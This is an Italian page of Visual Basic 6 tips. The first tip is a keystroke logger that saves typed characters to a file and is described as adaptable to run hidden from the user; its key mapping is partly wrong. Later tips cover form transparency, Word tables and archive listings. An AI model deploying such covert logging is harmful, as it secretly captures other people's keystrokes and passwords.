Come salvare in un file di testo qualunque tasto digitato in Windows

Un utile tip per monitorare costantemente le “mosse” dell’utilizzatore del PC. Grazie a questo semplice ma funzionale codice, è possibile realizzare applicazioni in grado di monitorare e salvare in un file di testo tutti caratteri digitati sulla tastiera del proprio PC; con qualche ritocco l’applicazione può essere adattata per lavorare in background ed in modo trasparente all’utente.
Nell’esempio si fa uso di un controllo Timer (Timer1) posto sul form principale del progetto.
Tip fornito dal sig. A.Morelli

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Dim Tasto_Digitato As Long
Dim text2 As String

Private Sub Timer1_Timer()
      Tasto_Digitato = GetAsyncKeyState(vbKeyA)
      If Tasto_Digitato = -32767 Then text2 = text2 & "a"
      Tasto_Digitato = GetAsyncKeyState(vbKeyB)
      If Tasto_Digitato = -32767 Then text2 = text2 & "b"
      Tasto_Digitato = GetAsyncKeyState(vbKeyC)
      If Tasto_Digitato = -32767 Then text2 = text2 & "c"
      Tasto_Digitato = GetAsyncKeyState(vbKeyD)
      If Tasto_Digitato = -32767 Then text2 = text2 & "d"
      Tasto_Digitato = GetAsyncKeyState(vbKeyE)
      If Tasto_Digitato = -32767 Then text2 = text2 & "e"
      Tasto_Digitato = GetAsyncKeyState(vbKeyF)
      If Tasto_Digitato = -32767 Then text2 = text2 & "f"
      Tasto_Digitato = GetAsyncKeyState(vbKeyG)
      If Tasto_Digitato = -32767 Then text2 = text2 & "g"
      Tasto_Digitato = GetAsyncKeyState(vbKeyH)
      If Tasto_Digitato = -32767 Then text2 = text2 & "h"
      Tasto_Digitato = GetAsyncKeyState(vbKeyI)
      If Tasto_Digitato = -32767 Then text2 = text2 & "i"
      Tasto_Digitato = GetAsyncKeyState(vbKeyJ)
      If Tasto_Digitato = -32767 Then text2 = text2 & "j"
      Tasto_Digitato = GetAsyncKeyState(vbKeyK)
      If Tasto_Digitato = -32767 Then text2 = text2 & "k"
      Tasto_Digitato = GetAsyncKeyState(vbKeyL)
      If Tasto_Digitato = -32767 Then text2 = text2 & "l"
      Tasto_Digitato = GetAsyncKeyState(vbKeyM)
      If Tasto_Digitato = -32767 Then text2 = text2 & "m"
      Tasto_Digitato = GetAsyncKeyState(vbKeyN)
      If Tasto_Digitato = -32767 Then text2 = text2 & "n"
      Tasto_Digitato = GetAsyncKeyState(vbKeyO)
      If Tasto_Digitato = -32767 Then text2 = text2 & "o"
      Tasto_Digitato = GetAsyncKeyState(vbKeyP)
      If Tasto_Digitato = -32767 Then text2 = text2 & "p"
      Tasto_Digitato = GetAsyncKeyState(vbKeyQ)
      If Tasto_Digitato = -32767 Then text2 = text2 & "q"
      Tasto_Digitato = GetAsyncKeyState(vbKeyR)
      If Tasto_Digitato = -32767 Then text2 = text2 & "r"
      Tasto_Digitato = GetAsyncKeyState(vbKeyS)
      If Tasto_Digitato = -32767 Then text2 = text2 & "s"
      Tasto_Digitato = GetAsyncKeyState(vbKeyT)
      If Tasto_Digitato = -32767 Then text2 = text2 & "t"
      Tasto_Digitato = GetAsyncKeyState(vbKeyU)
      If Tasto_Digitato = -32767 Then text2 = text2 & "u"
      Tasto_Digitato = GetAsyncKeyState(vbKeyV)
      If Tasto_Digitato = -32767 Then text2 = text2 & "v"
      Tasto_Digitato = GetAsyncKeyState(vbKeyW)
      If Tasto_Digitato = -32767 Then text2 = text2 & "w"
      Tasto_Digitato = GetAsyncKeyState(vbKeyX)
      If Tasto_Digitato = -32767 Then text2 = text2 & "x"
      Tasto_Digitato = GetAsyncKeyState(vbKeyY)
      If Tasto_Digitato = -32767 Then text2 = text2 & "y"
      Tasto_Digitato = GetAsyncKeyState(vbKeyZ)
      If Tasto_Digitato = -32767 Then text2 = text2 & "b"
      Tasto_Digitato = GetAsyncKeyState(vbKey1)
      If Tasto_Digitato = -32767 Then text2 = text2 & "1"
      Tasto_Digitato = GetAsyncKeyState(vbKey2)
      If Tasto_Digitato = -32767 Then text2 = text2 & "2"
      Tasto_Digitato = GetAsyncKeyState(vbKey3)
      If Tasto_Digitato = -32767 Then text2 = text2 & "3"
      Tasto_Digitato = GetAsyncKeyState(vbKey4)
      If Tasto_Digitato = -32767 Then text2 = text2 & "5"
      Tasto_Digitato = GetAsyncKeyState(vbKey6)
      If Tasto_Digitato = -32767 Then text2 = text2 & "6"
      Tasto_Digitato = GetAsyncKeyState(vbKey7)
      If Tasto_Digitato = -32767 Then text2 = text2 & "7"
      Tasto_Digitato = GetAsyncKeyState(vbKey8)
      If Tasto_Digitato = -32767 Then text2 = text2 & "8"
      Tasto_Digitato = GetAsyncKeyState(vbKey9)
      If Tasto_Digitato = -32767 Then text2 = text2 & "9"
      Tasto_Digitato = GetAsyncKeyState(vbKey0)
      If Tasto_Digitato = -32767 Then text2 = text2 & "0"
                  
      Tasto_Digitato = GetAsyncKeyState(vbKeySpace)
      If Tasto_Digitato = -32767 Then text2 = text2 & " "
            Tasto_Digitato = GetAsyncKeyState(vbKeyReturn)
      If Tasto_Digitato = -32767 Then text2 = text2 & vbCr
      Tasto_Digitato = GetAsyncKeyState(vbKeyBack)
      If Tasto_Digitato = -32767 Then text2 = Mid(text2, 1, Len(text2) - 1)
      
    Scrivi_Su_File (text2)
    Tasto_Digitato = 0
End Sub

Function Scrivi_Su_File(Carattere As String)
   Const TristateUseDefault = -2, TristateTrue = -1, TristateFalse = 0
   Dim fso, f, ts
   Set fso = CreateObject("Scripting.FileSystemObject")
   ' Creazione del file.
   fso.CreateTextFile "c:\MappaCaratteri.txt"
   Set f = fso.GetFile("c:\MappaCaratteri.txt")
   Set ts = f.OpenAsTextStream(2, TristateUseDefault)
   ts.Write Carattere
   ts.Close
End Function

Un controllo ListView “colorato”

Spesso il controllo ListiView viene utilizzato per creare dei report (entrate, uscite, saldi, prezzi), nasce pertanto l’esigenza di visualizzare le righe in cui sono presenti questi dati con un determinato colore di sfondo. L’applicazione proposta consente di ottenere questa funzionalità ricorrendo a tecniche di subclassing. Trovate l’applicazione completa su: www.itportal.it/ioProg70/Tips o sul supporto CD-Rom allegato alla rivista \Tips
Tip fornito dal sig. P.Libro

Form in trasparenza

Il tip proposto illustra come impostare la trasparenza di un form in Visual Basic 6 attraverso alcune chiamate API, in particolare il progetto mostra come materializzare un form aumentando di volta in volta il grado di opacità dello stesso.
Tip fornito dal sig.  E.Di Santo

' Window Transparency ;)
' by    Emanuele Di Santo
' Via:  Fabio Rulliano 19
' Cap:  00175 ROMA
'-------------------------
' Nell’esempio si presuppone che sul FrmMain sia posto un controllo Timer denominato Timer1
Option Explicit

'Api..
Private Declare Function SetLayeredWindowAttributes Lib "user32.dll" (ByVal hwnd As Long, ByVal crKey As Long, ByVal bAlpha As Byte, ByVal dwFlags As Long) As Boolean
Private Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long
Private Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long) As Long

'Constanti
Const LWA_ALPHA = 2
Const GWL_EXSTYLE = (-20)
Const WS_EX_LAYERED = &H80000

'Variabli
Public bytTransparency As Byte  'Trasparenza form
Public bIsFormLoaded As Boolean
'

Private Sub Form_Click()
bIsFormLoaded = False
Timer1.Enabled = True
End Sub

Private Sub Form_Load()
SetWindowLong hwnd, GWL_EXSTYLE, GetWindowLong(hwnd, GWL_EXSTYLE) Or WS_EX_LAYERED
bytTransparency = 0
bIsFormLoaded = True
End Sub

Private Sub Timer1_Timer()

If bIsFormLoaded = True Then

    If bytTransparency >= 252 Then Timer1.Enabled = False
    bytTransparency = bytTransparency + 3
    SetLayeredWindowAttributes hwnd, 0, bytTransparency, LWA_ALPHA

Else

    If bytTransparency = 3 Then Timer1.Enabled = False: End
    bytTransparency = bytTransparency - 3
    SetLayeredWindowAttributes hwnd, 0, bytTransparency, LWA_ALPHA

End If

End Sub

Come scrivere l’intero contenuto di una tabella Word con una sola istruzione

Il seguente tip è stato verificato con Access 2000 e Word 2000 e con VB 6 e Word 2000. Il Tip riguarda la modalità di popolamento di una tabella di un documento Word usando VB come Automation Client. Infatti al proposito Word espone una interfaccia molto ricca che permette di creare e compilare documenti direttamente da Visual Basic.
Tip fornio dal sig. D.Bussolotti

Tipicamente per compilare una tabella di un documento Word da VB è necessario puntare ad ogni singola cella della tabella ed inserire il testo voluto con un codice simile quanto esposto di seguito:
Dim WrApp			as Word.Application
Dim CurrRange		as Word.Range
Dim Row			as Integer
Dim Col			as Integer	
Dim TblID			as Integer
Dim NRows			as Integer
Dim NCols			as Integer

‘Valori puramente indicativi, che dipendono dalla struttura della tabella da referenziare

TblID = 2: NRows = 4: NCols = 5

Set WrApp = New Word.Application
WrApp.Documents.Open “c:\appo\trial.doc”

For Row = 1 to NRows
	For Col = 1 To NCols
Set CurrRange =  _
WrApp.Documents(OpenedDocName).Tables(TblID).Cell(Row, Col).Range
CurrRange.Text = <Testo da inserire in posizione Row, Col>
Next Col
Next Row

in cui TblID rappresenta la posizione della tabella da popolare nel documento (nell’esempio c:\appo\trial.doc”), NRows e NCols il numero di righe e colonne di cui la tabella in oggetto è dotata.  Avendo la necessità di compilare in tempi brevi tabelle Word di molte centinaia di righe i tempi di elaborazione diventano, secondo tale modalità “canonica” molto presto troppo alti. Il seguente Tip permette di riempire tutte le celle di una tabella Word con un solo comando abbassando i tempi di popolamento di un fattore 50 o più.
Allo scopo è sufficiente preparare preliminarmente una stringa contenente la sequenza separata da vbCrlf dei testi da inserire in tutte le celle di tutte le righe della tabella Word in oggetto, copiare tale stringa nel ClipBoard, selezionare le righe della tabella su cui eseguire l’inserimento ed incollare il contenuto del ClipBoard.

Si abbia ad esempio una tabella di 4 righe e 5 colonne come prima tabella nel documento “c:\appo\trial.doc” ed in essa si vogliano inserire i primi 20 numeri come mostrato:

1	2	3	4	5	
6	7	8	9	10	
11	12	13	14	15	
16	17	18	19	20	

Si disponga poi di una funzionalià per inserire una stringa nel ClipBoard (nell’esempio la funzione  ClipBoard_SetData(Txt as String) o in alternativa l’oggetto ClipBoard di VB, che però su Access è instabile).  Il Tip diventa il seguente:

Public Sub Tip()

Dim WrApp		as Word.Application
Dim R1		as Long
Dim R2		as Long
Dim i			as Integer
Dim CurrRange	as Word.Range
Dim TblTxt		as String
Dim X			as Integer
Dim TblID		as Integer

Set WrApp = New Word.Application

WrApp.Documents.Open “c:\appo\trial.doc”

‘Preparazione della stringa per riempire One Shot la tabella
For i = 1 to 20
TblTxt = TblTxt & i & vbCrLf
Next i

‘Funzione di copia nel ClipBoard 
X = ClipBoard_SetData(TblTxt)

‘Valore puramente indicativo, che afferma che la tabella di 
‘interesse è la prima del documento “c:\appo\trial.doc”
TblID = 1

‘Selezione della tabella tramite il suo Range nel documento
R1 = WrApp.Documents(“trial.doc”).Tables(TblID).Rows(1).Range.Start
R2 = WrApp.Documents(“trial.doc”).Tables(TblID).Rows(4).Range.End
Set CurrRange = WrApp.Documents(“trial.doc”).Range(R1, R2)
CurrRange.Select

‘Popolamento One Shot della tabella
WrApp.Selection.Paste

End  Sub

La funzione ClipBoard_SetData(strTxt$) è una funzione che tramite le API Windows pone la stringa passata come argomento nel ClipBoard, come la seguente (che ho trovato freeware su Internet).  In alternativa si puo’ usare l’oggetto ClipBoard di VB, che però almeno su Access 2000 ha problemi di instabilità.

'-------------------------------------------------------------------------------------------------
'DICHIARAZIONI PER L'USO DEL CLIPBOARD TRAMITE API
    Private Declare Function OpenClipboard Lib "User32" _
        (ByVal hwnd As Long) As Long
    Private Declare Function GlobalAlloc Lib "kernel32" _
        (ByVal wFlags As Long, ByVal dwBytes As Long) As Long
    Private Declare Function GlobalLock Lib "kernel32" _
        (ByVal hMem As Long) As Long
    Private Declare Function lstrcpy Lib "kernel32" Alias _
        "lstrcpyA" (ByVal lpString1 As Any, ByVal lpString2 As Any) As Long
    Private Declare Function GlobalUnlock Lib "kernel32" _
        (ByVal hMem As Long) As Long
    Private Declare Function CloseClipboard Lib "User32" () As Long
    Private Declare Function EmptyClipboard Lib "User32" () As Long
    Private Declare Function SetClipboardData Lib "User32" _
        (ByVal wFormat As Long, ByVal hMem As Long) As Long
    Private Const GMEM_MOVEABLE As Long = &H2
    Private Const GMEM_DDESHARE As Long = &H2000
    Private Const GMEM_ZEROINIT As Long = &H40
    Global Const GHND As Long = (GMEM_MOVEABLE Or GMEM_DDESHARE Or _
        GMEM_ZEROINIT)
    Global Const CF_TEXT = 1
    Global Const MAXSIZE = 4096
'-------------------------------------------------------------------------------------------------

Public Function ClipBoard_SetData(MyString$) As Integer
    
    Dim hGlobalMemory       	As Long
    Dim lpGlobalMemory      	As Long
    Dim hClipMemory        	 	As Long
    Dim X                   		As Long

    On Error GoTo ClipBoard_SetData_ERR
    
    Fn = "ClipBoard_SetData()"
    X = 0
    '-------------------------------------------
    ' Allocate moveable global memory.
    '-------------------------------------------
    hGlobalMemory = GlobalAlloc(GHND, Len(MyString$) + 1)
    '-------------------------------------------
    ' Lock the block to get a far pointer
    ' to this memory.
    '-------------------------------------------
    lpGlobalMemory = GlobalLock(hGlobalMemory)
    
    '-------------------------------------------
    ' Copy the string to this global memory.
    '-------------------------------------------
    lpGlobalMemory = lstrcpy(lpGlobalMemory, MyString$)
    '-------------------------------------------
    ' Unlock the memory.
    '-------------------------------------------
    If GlobalUnlock(hGlobalMemory) <> 0 Then
        MsgBox "Could not unlock memory location. Copy aborted."
        X = -3
        GoTo OutOfHere2
    End If
    '-------------------------------------------
    ' Open the Clipboard to copy data to.
    '-------------------------------------------
    If OpenClipboard(0&) = 0 Then
        MsgBox "Could not open the Clipboard. Copy aborted."
        ClipBoard_SetData = -2
        Exit Function
    End If
    '-------------------------------------------
    ' Clear the Clipboard.
    '-------------------------------------------
    X = EmptyClipboard()
    '-------------------------------------------
    ' Copy the data to the Clipboard.
    '-------------------------------------------
    hClipMemory = SetClipboardData(CF_TEXT, hGlobalMemory)
    
OutOfHere2:
    If CloseClipboard() = 0 Then
        MsgBox "Could not close Clipboard"
        ClipBoard_SetData = -1
        Exit Function
    Else
        If X < 0 Then
            ClipBoard_SetData = X
            Exit Function
        End If
    End If
    
    ClipBoard_SetData = X
    Exit Function
    
ClipBoard_SetData_ERR:
    MsgBox Err.Description
    ClipBoard_SetData = -999
    Exit Function
    
End Function

Come ottenere il contenuto di file WinZip ed ARJ 

Grazie al codice proposto dal Tips che segue sarà possibile visualizzare il contenuto di un file compresso tramite WinZIP o mediante il meno conosciuto ma pur sempre funzionale ARJ.
Il progetto richiede una listBox sul Form. 

' Inserire in un modulo il codice seguente
Private Type ZFHeader
   Signature      As Long
   version        As Integer
   GPBFlag        As Integer
   Compress       As Integer
   Date           As Integer
   Time           As Integer
   CRC32          As Long
   CSize          As Long
   USize          As Long
   FNameLen       As Integer
   ExtraField     As Integer
End Type 

Private Type ARJmainheader
   id             As Integer
   headersize     As Integer
   firsthdrsize   As Byte
   version        As Byte
   minversion     As Byte
   archiveos      As Byte
   flags          As Byte
   secversion     As Byte
   filetype       As Byte
   x_reserved     As Byte
   createtime     As Long
   modifytime     As Long
   FileSize       As Long
   secenvpos      As Long
   filespecpos    As Integer
   secenvlength   As Integer
   x_notused      As Integer
End Type

Private Type ARJlocalheader
   id             As Integer
   headersize     As Integer
   firsthdrsize   As Byte
   version        As Byte
   minversion     As Byte
   archiveos      As Byte
   flags          As Byte
   method         As Byte
   filetype       As Byte
   x_reserved     As Byte
   datemodify     As Long
   sizecompr      As Long
   sizeorig       As Long
   origcrc        As Long
   filespecpos    As Integer
   accessmode     As Integer
   hostdata       As Integer
End Type

Private Type LZHheader
   headersize     As Byte
   remaincrc      As Byte
   id             As String * 3
   method         As String * 1
   id2            As String * 1
   sizecompr      As Long
   sizeorig       As Long
   filedate       As Long
   fileattrib     As Integer
   filenamelen    As Byte
End Type

Private Function StripGarbage(ByVal str As String) As String
   Dim sTmp As String, ch As String * 1, i As Integer

   For i = 1 To Len(str)
      ch = Mid$(str, i, 1)
      If ch <> Chr$(0) Then
         sTmp = sTmp & ch
      Else
         StripGarbage = sTmp
         Exit Function
      End If
   Next

End Function

Public Sub AddLZHfiles(LZHfile As String, LBox As ListBox)
   Dim FNum As Integer, LZHrec As LZHheader, NameStr As String

   FNum = FreeFile
   Open LZHfile For Binary Lock Write As #FNum

   Do
      If (Loc(FNum) + Len(LZHrec)) > LOF(FNum) Then Exit Do
      Get FNum, , LZHrec
      If Left$(LZHrec.id, 2) = "-l" Then
         NameStr = Space$(LZHrec.filenamelen)
         Get FNum, , NameStr

         LBox.AddItem Trim$(NameStr) & Chr$(9) & Chr$(9) & LZHrec.sizeorig

         Seek FNum, Loc(FNum) + 2 + LZHrec.sizecompr + 4
      End If
   Loop Until EOF(FNum)

   Close FNum

End Sub

Public Sub AddARJfiles(ARJfile As String, LBox As ListBox)
   Dim FNum As Integer, ARJrec As ARJmainheader, FILrec As ARJlocalheader, FPos As Long
   Dim NameStr As String * 256

   FNum = FreeFile
   Open ARJfile For Binary Lock Write As #FNum

   Get FNum, , ARJrec
   If ARJrec.id = -5536 Then
      Seek FNum, ARJrec.headersize + 11

      Do
         If (Loc(FNum) + Len(FILrec)) > LOF(FNum) Then Exit Do
         FPos = Loc(FNum)
         Get FNum, , FILrec
         If FILrec.id = -5536 Then
            Get FNum, , NameStr
            NameStr = StripGarbage(NameStr)

            LBox.AddItem Trim$(NameStr) & Chr$(9) & Chr$(9) & FILrec.sizeorig

            Seek FNum, FPos
            Seek FNum, Loc(FNum) + FILrec.headersize + 12 + FILrec.sizecompr
         End If
      Loop Until EOF(FNum)
   End If

   Close FNum

End Sub

Public Sub AddZIPfiles(ByVal ZIPfile As String, LBox As ListBox)
   Dim FNum As Integer, sRet As String
   Dim iCounter As Integer, sResult As String
   Dim zhdr As ZFHeader

   Const ZIPSIG = &H4034B50

   FNum = FreeFile
   Open ZIPfile For Binary Lock Read Write As #FNum
   Get #FNum, , zhdr

   While zhdr.Signature = ZIPSIG
      ReDim s(0 To zhdr.FNameLen - 1) As String * 1
      For iCounter = 0 To UBound(s)
         s(iCounter) = Chr$(0)
      Next

      For iCounter = 0 To zhdr.FNameLen - 1
         Get #FNum, , s(iCounter)
      Next

      Seek #FNum, Seek(FNum) + zhdr.CSize + zhdr.ExtraField

      sResult = ""

      For iCounter = 0 To UBound(s)
         sResult = sResult & s(iCounter)
      Next

      LBox.AddItem sResult & Chr$(9) & Format$(zhdr.USize)

      Get #FNum, , zhdr
   Wend

   Close FNum

End Sub

' Inserire il codice che segue in un Form 
Private Sub Form_Load()
' Sostituire "C:\Prova.zip" con il nome del file compresso del quale
' si vuole mostrare il contenuto.
    AddZIPfiles "C:\Prova.zip", List1
End Sub